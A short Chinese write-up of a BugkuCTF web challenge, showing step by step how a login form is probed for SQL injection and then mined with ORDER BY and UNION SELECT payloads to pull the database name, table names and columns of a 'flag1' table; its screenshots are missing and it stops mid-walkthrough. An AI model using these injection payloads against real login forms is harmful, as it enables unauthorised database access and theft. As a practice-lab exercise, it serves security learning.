BugkuCTF之web題之這是一個神奇的登陸框

開啟網頁之後發現：

隨便輸入賬號和密碼出現：

那就開始尋找注入點吧，輸入0’發現還是：

輸入0" 發現報錯：

確定可以注入，判斷欄位有多少個 0"order by 1,2,3# 發現：

說明有兩列。

輸入 0" union select database(),2# ，得到庫名：

繼續輸入 0" union select table_name,2 from information_schema.tables where table_schema=‘bugkusql1’ # 得到表名：

繼續輸入 0" union select column_name,2 from information_schema.columns where table_name=‘flag1’ #